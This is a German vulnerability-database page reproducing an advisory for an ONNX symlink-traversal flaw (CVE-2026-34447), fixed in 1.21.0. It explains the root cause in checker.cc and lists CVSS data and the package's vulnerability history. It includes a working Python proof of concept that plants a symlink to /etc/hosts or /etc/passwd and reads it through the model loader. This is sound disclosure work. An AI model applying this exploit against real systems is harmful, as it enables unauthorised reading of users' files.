Mittel

ONNX: External Data Symlink Traversal

  • Veröffentlicht: 01.04.2026
  • Aktualisiert: 11.10.2026 15:17

Summary

  • Issue: Symlink traversal in external data loading allows reading files outside the model directory.
  • Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model.
  • Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause

  • The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It:
    • Rejects empty/absolute paths
    • Normalizes the relative path and rejects ..
    • Builds data_path = base_dir / relative_path
    • Checks exists(data_path) and is_regular_file(data_path)
  • However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference

  • File: onnx/onnx/checker.cc:970-1060
  • Key logic:
    • Normalization: auto relative_path = file_path.lexically_normal().make_preferred();
    • Existence: std::filesystem::exists(data_path)
    • Regular file check: std::filesystem::is_regular_file(data_path)
    • Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.

Proof of Concept (PoC)

  • File: onnx_external_data_symlink_traversal_poc.py
  • Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory.
  • Run:
    • python3 onnx_external_data_symlink_traversal_poc.py
    • Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir

onnx_external_data_symlink_traversal_poc.py

python
#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC

Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC:
 - Creates a model with a tensor using external_data location 'tensor.bin'
 - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
 - Calls load_external_data_for_model(model, base_dir)
 - Confirms that tensor.raw_data contains the content of the outside file

Safe: only reads a benign system file if present.
"""

import os
import sys
import tempfile
import pathlib

# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
    sys.path.remove(_here)

import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
    set_external_data,
    load_external_data_for_model,
)


def pick_target_file():
    candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
    for p in candidates:
        if os.path.exists(p) and os.path.isfile(p):
            return p
    raise RuntimeError("No suitable readable system file found for this PoC")


def build_model_with_external(location: str):
    # A 1D tensor; data will be filled from external file
    tensor = helper.make_tensor(
        name="X_ext",
        data_type=TensorProto.UINT8,
        dims=[0],  # dims will be inferred after raw_data is read
        vals=[],
    )
    # add dummy raw_data then set_external_data to mark as external
    tensor.raw_data = b"dummy"
    set_external_data(tensor, location=location)

    # Minimal graph that just feeds the initializer as Constant
    const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor)
    graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)])
    model = helper.make_model(graph)
    return model


def main():
    base = tempfile.mkdtemp(prefix="onnx_symlink_poc_")
    model_dir = base
    link_name = os.path.join(model_dir, "tensor.bin")

    target = pick_target_file()
    print(f"[*] Using target file: {target}")

    # Create symlink in model_dir pointing outside
    try:
        pathlib.Path(link_name).symlink_to(target)
    except OSError as e:
        print(f"[!] Failed to create symlink: {e}")
        print("    This PoC needs symlink capability.")
        return 1

    # Build model referencing the relative location 'tensor.bin'
    model = build_model_with_external(location="tensor.bin")

    # Use in-memory model; explicitly load external data from base_dir
    loaded = model
    print("[*] Loading external data into in-memory model...")
    try:
        load_external_data_for_model(loaded, base_dir=model_dir)
    except Exception as e:
        print(f"[!] load_external_data_for_model raised: {e}")
        return 1

    # Validate that raw_data came from outside file by checking a prefix
    raw = None
    # Search initializers
    for t in loaded.graph.initializer:
        if t.name == "X_ext" and t.HasField("raw_data"):
            raw = t.raw_data
            break
    # Search constant attributes if not found
    if raw is None:
        for node in loaded.graph.node:
            for attr in node.attribute:
                if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"):
                    raw = attr.t.raw_data
                    break
            if raw is not None:
                break
    if raw is None:
        print("[?] Did not find raw_data on tensor; PoC inconclusive")
        return 2

    with open(target, "rb") as f:
        target_prefix = f.read(32)
    if raw.startswith(target_prefix):
        print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir")
        print(f"      Symlink {link_name} -> {target}")
        return 0
    else:
        print("[?] Raw data did not match target prefix; environment-specific behavior")
        return 3


if __name__ == "__main__":
    sys.exit(main())

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) onnx < 1.21.0 1.21.0

Verweise

CVSS-Wert 5.5/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-61
Plattform
Python (PyPI)
Paket
onnx
Veröffentlicht
01.04.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-104 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-p433-9wv8-28xj - CC BY 4.0

Schwachstellenhistorie: onnx

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (13) im Archiv
Einträge insgesamt
13
Erste → letzte
01.2023 07.2026
Ohne Fix
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Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 7
  • Mittel 4
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2023: 1
  2. 2024: 3
  3. 2025: 1
  4. 2026: 8
Schweregrad:
  1. Hoch · 7.1 CVE-2026-49114 < 1.21.0 1.21.0
  2. ONNX: External Data Symlink Traversal dieser Eintrag
    Mittel · 5.5 CVE-2026-34447 < 1.21.0 1.21.0
  3. Hoch CVE-2026-27489 < 1.21.0 1.21.0
  4. Hoch · 7.5 CVE-2024-27318 < 1.16.0 1.16.0

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